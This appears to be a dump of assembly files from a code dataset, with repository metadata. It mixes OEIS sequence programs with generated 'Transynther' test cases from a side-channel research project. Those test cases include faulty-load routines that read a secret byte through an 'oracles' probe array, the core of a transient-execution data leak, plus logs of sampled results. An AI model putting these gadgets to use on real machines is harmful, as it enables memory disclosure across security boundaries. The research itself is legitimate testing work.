00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
29.510791
2,999
0.656631
37c3ed7938fdad02e30fbc651027cb96d6558773
433
asm
Assembly
oeis/140/A140751.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/140/A140751.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/140/A140751.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A140751: Triangle read by rows, X^n * [1,0,0,0,...] where X = an infinite tridiagonal matrix with (1,0,1,0,1,...) in the main and subdiagonals and (1,1,1,...) in the subsubdiagonal. ; Submitted by Jon Maiga ; 1,1,1,1,1,1,2,2,1,1,1,3,3,3,3,1,1,1,4,4,6,6,4,4,1,1,1,5,5,10,10,10,10,5,5,1,1,1,6,6,15,15,20,20,15,15,6,6,1,1,1,7,7,21,21,35,35,35,35,21,21,7,7,1 lpb $0 sub $0,$2 add $2,1 sub $0,$2 lpe div $0,2 bin $2,$0 mov $0,$2
33.307692
183
0.600462
8889e641dd3f0d37e4cf91334f9f443e502c42fd
5,306
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_127.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_127.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_127.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_UC+0x1e1cc, %rsi lea addresses_normal+0x11bbc, %rdi sub %r13, %r13 mov $124, %rcx rep movsw nop nop nop nop nop and $38439, %rdi // Store lea addresses_WT+0x735c, %rdx clflush (%rdx) nop nop nop nop nop dec %rdi mov $0x5152535455565758, %rsi movq %rsi, (%rdx) nop nop nop and %r13, %r13 // Store lea addresses_RW+0x8204, %r13 nop dec %r14 mov $0x5152535455565758, %rdi movq %rdi, %xmm4 vmovups %ymm4, (%r13) nop cmp $56699, %rsi // Load mov $0x1ac, %rsi sub $35031, %rdi mov (%rsi), %r13 nop nop nop nop cmp $65272, %r14 // Store lea addresses_A+0xb9bc, %rdx nop nop nop nop nop cmp $7744, %r13 movb $0x51, (%rdx) nop nop nop nop dec %rsi // Store lea addresses_A+0x1c1bc, %rsi nop add $26842, %rdi mov $0x5152535455565758, %rcx movq %rcx, %xmm6 vmovups %ymm6, (%rsi) nop nop nop xor $40569, %rcx // Faulty Load lea addresses_RW+0x5bbc, %rbx nop nop nop nop nop and %r13, %r13 movb (%rbx), %dl lea oracles, %rbx and $0xff, %rdx shlq $12, %rdx mov (%rbx,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
41.131783
2,999
0.655673
4ff04928181dddca1eaa8b387735e480bf93b669
550
asm
Assembly
oeis/314/A314692.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/314/A314692.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/314/A314692.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A314692: Coordination sequence Gal.5.81.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Jon Maiga ; 1,5,9,13,17,23,27,31,35,40,45,49,53,57,63,67,71,75,80,85,89,93,97,103,107,111,115,120,125,129,133,137,143,147,151,155,160,165,169,173,177,183,187,191,195,200,205,209,213,217 mov $2,$0 mul $0,2 add $0,2 mov $3,4 lpb $0 sub $0,6 trn $0,$3 add $1,$0 trn $0,1 add $1,1 sub $1,$0 mov $3,2 lpe lpb $2 add $1,4 sub $2,1 lpe mov $0,$1
23.913043
176
0.665455
9f64d2acbdc1bb93b83be4623fd93ee5be8d7dd0
4,824
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_105_1815.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_105_1815.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_105_1815.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x15504, %r9 nop nop and %r14, %r14 mov $0x6162636465666768, %rax movq %rax, %xmm3 movups %xmm3, (%r9) cmp $32201, %rdi lea addresses_D_ht+0x19504, %rsi lea addresses_normal_ht+0x15704, %rdi nop nop nop add %rbx, %rbx mov $0, %rcx rep movsw nop nop nop nop mfence lea addresses_WT_ht+0xfe04, %rsi lea addresses_D_ht+0x6f04, %rdi nop nop nop nop nop xor %r14, %r14 mov $29, %rcx rep movsl nop nop nop nop nop xor %r9, %r9 lea addresses_A_ht+0xa104, %r9 nop nop nop inc %r14 vmovups (%r9), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rsi nop nop nop nop xor %rdi, %rdi lea addresses_WT_ht+0x84, %r9 add %r14, %r14 mov $0x6162636465666768, %rax movq %rax, (%r9) nop nop nop nop nop xor $28320, %r14 lea addresses_A_ht+0x1b396, %r9 clflush (%r9) nop nop nop nop nop and $15946, %rdi mov $0x6162636465666768, %r14 movq %r14, (%r9) xor $43253, %rcx lea addresses_A_ht+0x4d04, %r14 nop add $36154, %rax mov $0x6162636465666768, %rdi movq %rdi, (%r14) nop nop nop nop sub $3395, %rdi lea addresses_WT_ht+0xfb18, %rsi clflush (%rsi) nop nop sub $29713, %rax mov $0x6162636465666768, %r9 movq %r9, %xmm4 vmovups %ymm4, (%rsi) nop nop nop nop nop xor %r9, %r9 lea addresses_WC_ht+0x9748, %rcx nop nop nop nop cmp $59530, %rsi vmovups (%rcx), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r9 nop xor %rsi, %rsi lea addresses_UC_ht+0x3504, %rsi lea addresses_WT_ht+0x12d04, %rdi nop nop nop nop xor %r12, %r12 mov $33, %rcx rep movsq sub $13996, %rcx lea addresses_normal_ht+0xfb9f, %rdi nop nop nop and %r12, %r12 movw $0x6162, (%rdi) nop nop cmp $55978, %rax pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi // Store mov $0x5a13790000000f04, %rsi nop nop add $6127, %rdx mov $0x5152535455565758, %r10 movq %r10, %xmm5 vmovups %ymm5, (%rsi) nop nop nop nop xor $17936, %rdi // Store lea addresses_PSE+0xed04, %rdx clflush (%rdx) nop nop nop nop sub %rcx, %rcx mov $0x5152535455565758, %rsi movq %rsi, %xmm1 vmovups %ymm1, (%rdx) nop nop nop nop nop add %rsi, %rsi // Faulty Load lea addresses_WT+0x13504, %r10 nop nop xor $5263, %r14 movb (%r10), %dl lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'39': 105} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
20.973913
314
0.654643
434c5f7f128cb1e07569fdf3739750d0815f25da
5,182
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_20722_916.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_20722_916.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_20722_916.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x5f71, %r13 nop nop nop nop nop cmp %rcx, %rcx mov (%r13), %bx nop nop nop sub %r10, %r10 lea addresses_UC_ht+0x15571, %rsi lea addresses_A_ht+0x17231, %rdi nop nop cmp $43660, %r15 mov $29, %rcx rep movsq nop and $32689, %r10 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r8 push %rax push %rbx push %rcx // Store lea addresses_WC+0xb239, %r10 nop nop nop dec %r13 movb $0x51, (%r10) nop nop nop nop sub $64692, %rax // Store lea addresses_A+0xf9df, %rcx nop nop xor %r8, %r8 mov $0x5152535455565758, %r13 movq %r13, (%rcx) nop nop nop cmp %r14, %r14 // Load lea addresses_PSE+0x18c71, %rax nop nop nop dec %r13 movaps (%rax), %xmm0 vpextrq $0, %xmm0, %r14 nop and %r13, %r13 // Faulty Load mov $0x5083160000000571, %rbx clflush (%rbx) nop nop xor %r14, %r14 vmovaps (%rbx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %rax lea oracles, %r10 and $0xff, %rax shlq $12, %rax mov (%r10,%rax,1), %rax pop %rcx pop %rbx pop %rax pop %r8 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'00': 20722} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
42.130081
2,999
0.657854
ea20b6e737f609c5ecc618e7bef2d3971b8de6fe
785
asm
Assembly
programs/oeis/141/A141195.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/141/A141195.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/141/A141195.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A141195: Primes of the form 16k+11. ; 11,43,59,107,139,251,283,331,347,379,443,491,523,571,587,619,683,811,827,859,907,971,1019,1051,1163,1259,1291,1307,1451,1483,1499,1531,1579,1627,1723,1787,1867,1931,1979,2011,2027,2203,2251,2267,2347,2411,2459,2539,2683,2699,2731,2843,2939,2971,3019,3067,3083,3163,3259,3307,3323,3371,3467,3499,3547,3643,3659,3691,3739,3803,3851,3931,3947,4027,4091,4139,4219,4283,4363,4507,4523,4603,4651,4987,5003,5051,5099,5147,5179,5227,5323,5387,5419,5483,5531,5563,5659,5851,5867,6011 mov $2,$0 add $2,1 pow $2,2 lpb $2 add $1,10 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,6 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe div $1,2 sub $1,22 mul $1,2 add $1,39 mov $0,$1
32.708333
476
0.703185
c36fce1cf45a69796153cfc64cdd004bca6b8b9b
645
asm
Assembly
oeis/062/A062023.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/062/A062023.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/062/A062023.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A062023: a(n) = {n^(n+1)+n^(n-1)}/2. ; Submitted by Jon Maiga ; 1,5,45,544,8125,143856,2941225,68157440,1764915561,50500000000,1582182900661,53868106874880,1980337235410885,78180905165533184,3298800640869140625,148150413341979836416,7055872821971695929745,355210628457538186444800,18847050403921934717444221,1051197440000000000000000000,61486272907776292248820404621,3763466375491965575849401384960,240579305215638986482786248752185,16032615484221123745981666871476224,1111999381464556790888309478759765625,80147941457697028834795163331671883776 mov $1,$0 add $0,1 sub $1,1 mov $2,$0 pow $0,2 mul $0,$2 add $0,$2 pow $2,$1 mul $0,$2 div $0,2
43
483
0.83876
96273b0c428ff5239d5ebe94dfa7482727c38044
476
asm
Assembly
programs/oeis/101/A101676.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/101/A101676.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/101/A101676.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A101676: a(n) = a(n-1) - a(n-2) + a(n-3) - a(n-4) + a(n-5) with initial terms 1,0,-2,-1,0. ; 1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1,0,0,1,0,-2,-1 add $0,2 lpb $0 mov $2,$0 seq $2,132798 ; Period 6: repeat [0, 2, 1, 0, -2, -1]. bin $0,$2 mov $1,$2 div $2,2 mul $0,$2 lpe mov $0,$1
34
235
0.453782
d8ab3bbd2198eb7a24c4e95da4d6fda479d1d01c
739
asm
Assembly
examenes/examenpracticas/ejercicios/eje7_b.asm
ajah1/EC
9b796b616bf4dcac95cdea98114a8e0599a5393f
[ "MIT" ]
null
null
null
examenes/examenpracticas/ejercicios/eje7_b.asm
ajah1/EC
